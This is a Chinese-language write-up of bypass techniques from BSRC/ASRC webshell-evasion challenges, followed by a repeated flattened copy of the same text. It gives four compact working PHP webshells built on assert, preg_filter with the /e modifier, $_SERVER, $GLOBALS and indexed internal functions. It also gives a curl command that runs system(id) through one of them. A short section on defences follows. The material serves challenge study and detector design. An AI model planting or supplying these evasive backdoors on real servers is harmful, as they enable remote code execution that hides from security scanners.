bsrc和asrc的webshell挑战赛绕过技巧
字数 1166 2025-08-03 10:57:03

BSRC和ASRC的Webshell挑战赛绕过技巧详解

主要思路概述

Webshell检测系统通常采用动态检测和多种智能算法,能够进行运算并基于运算结果判断是否为Webshell。绕过的主要思路是利用检测环境与实际环境的差异性:

  1. 从外部获取值,这些值在不同环境中可能不同
  2. 使检测环境运算结果与实际环境构造结果不一致
  3. 利用环境变量、全局变量等动态获取执行内容

具体绕过技术

1. 利用$_SERVER从外部获取值

源代码:

<?php
sort($_SERVER);
assert($_SERVER[26]);

技术原理:

  • 使用sort()函数对$_SERVER数组进行排序
  • 通过assert()执行排序后$_SERVER数组中特定位置的值
  • 在不同环境中,$_SERVER[26]可能指向不同的值,从而绕过静态检测

2. 利用getenv("QUERY_STRING")从外部获取值

源代码:

<?php
$a = getenv("QUERY_STRING");
preg_filter('|.*|e', $a, '');

技术原理:

  • 使用getenv("QUERY_STRING")获取查询字符串
  • 通过preg_filter函数的e修饰符执行代码
  • 利用方法:curl "http://example.com/56.php?system(id);"

特点:

  • 完全从外部输入获取执行内容
  • 使用正则函数执行代码,绕过简单关键字检测

3. 利用$GLOBALS从外部获取值

源代码:

<?php
assert($GLOBALS{GLOBALS}=pos($GLOBALS)[0]);

技术原理:

  • 使用pos($GLOBALS)[0]获取全局变量数组的第一个值
  • 将获取的值赋给$GLOBALS{GLOBALS}
  • 通过assert()执行获取的值
  • 依赖全局变量的动态特性绕过检测

4. 利用get_defined_functions()['internal']从外部获取值

源代码:

<?php
$arr = get_defined_functions()['internal'];
$arr[809]($_POST[1]);

技术原理:

  • 获取所有内部函数列表,存储在数组中
  • 通过数组索引调用特定函数(如assert)
  • 在不同PHP环境中,assert函数在数组中的位置可能不同
  • 示例中809是PHP 5.6.1中assert的位置

关键点:

  • 需要提前确认目标环境中assert在数组中的位置
  • 利用环境差异性使检测系统无法准确识别

总结与防御建议

绕过技术共性

  1. 利用环境变量或全局变量的动态特性
  2. 依赖不同环境中的执行结果差异
  3. 通过间接方式获取和执行代码
  4. 避免直接使用明显的危险函数调用

防御建议

  1. 检测系统应模拟多种环境进行动态分析
  2. 监控非常规的变量访问方式(如$_SERVER排序后访问)
  3. 限制或监控getenv、$GLOBALS等函数的使用
  4. 对preg_filter等支持代码执行的函数进行严格检查
  5. 建立函数调用链分析,识别间接函数调用

扩展思考

这些技术展示了Webshell检测与绕过之间的猫鼠游戏本质。防御方需要:

  • 深入理解PHP语言特性和执行环境
  • 构建多维度检测机制
  • 关注环境差异可能带来的检测盲点
  • 持续更新检测规则以应对新型绕过技术
BSRC和ASRC的Webshell挑战赛绕过技巧详解 主要思路概述 Webshell检测系统通常采用动态检测和多种智能算法,能够进行运算并基于运算结果判断是否为Webshell。绕过的主要思路是利用检测环境与实际环境的差异性: 从外部获取值,这些值在不同环境中可能不同 使检测环境运算结果与实际环境构造结果不一致 利用环境变量、全局变量等动态获取执行内容 具体绕过技术 1. 利用$_ SERVER从外部获取值 源代码: 技术原理: 使用 sort() 函数对 $_SERVER 数组进行排序 通过 assert() 执行排序后 $_SERVER 数组中特定位置的值 在不同环境中, $_SERVER[26] 可能指向不同的值,从而绕过静态检测 2. 利用getenv("QUERY_ STRING")从外部获取值 源代码: 技术原理: 使用 getenv("QUERY_STRING") 获取查询字符串 通过 preg_filter 函数的 e 修饰符执行代码 利用方法: curl "http://example.com/56.php?system(id);" 特点: 完全从外部输入获取执行内容 使用正则函数执行代码,绕过简单关键字检测 3. 利用$GLOBALS从外部获取值 源代码: 技术原理: 使用 pos($GLOBALS)[0] 获取全局变量数组的第一个值 将获取的值赋给 $GLOBALS{GLOBALS} 通过 assert() 执行获取的值 依赖全局变量的动态特性绕过检测 4. 利用get_ defined_ functions()[ 'internal' ]从外部获取值 源代码: 技术原理: 获取所有内部函数列表,存储在数组中 通过数组索引调用特定函数(如assert) 在不同PHP环境中,assert函数在数组中的位置可能不同 示例中809是PHP 5.6.1中assert的位置 关键点: 需要提前确认目标环境中assert在数组中的位置 利用环境差异性使检测系统无法准确识别 总结与防御建议 绕过技术共性 利用环境变量或全局变量的动态特性 依赖不同环境中的执行结果差异 通过间接方式获取和执行代码 避免直接使用明显的危险函数调用 防御建议 检测系统应模拟多种环境进行动态分析 监控非常规的变量访问方式(如$_ SERVER排序后访问) 限制或监控getenv、$GLOBALS等函数的使用 对preg_ filter等支持代码执行的函数进行严格检查 建立函数调用链分析,识别间接函数调用 扩展思考 这些技术展示了Webshell检测与绕过之间的猫鼠游戏本质。防御方需要: 深入理解PHP语言特性和执行环境 构建多维度检测机制 关注环境差异可能带来的检测盲点 持续更新检测规则以应对新型绕过技术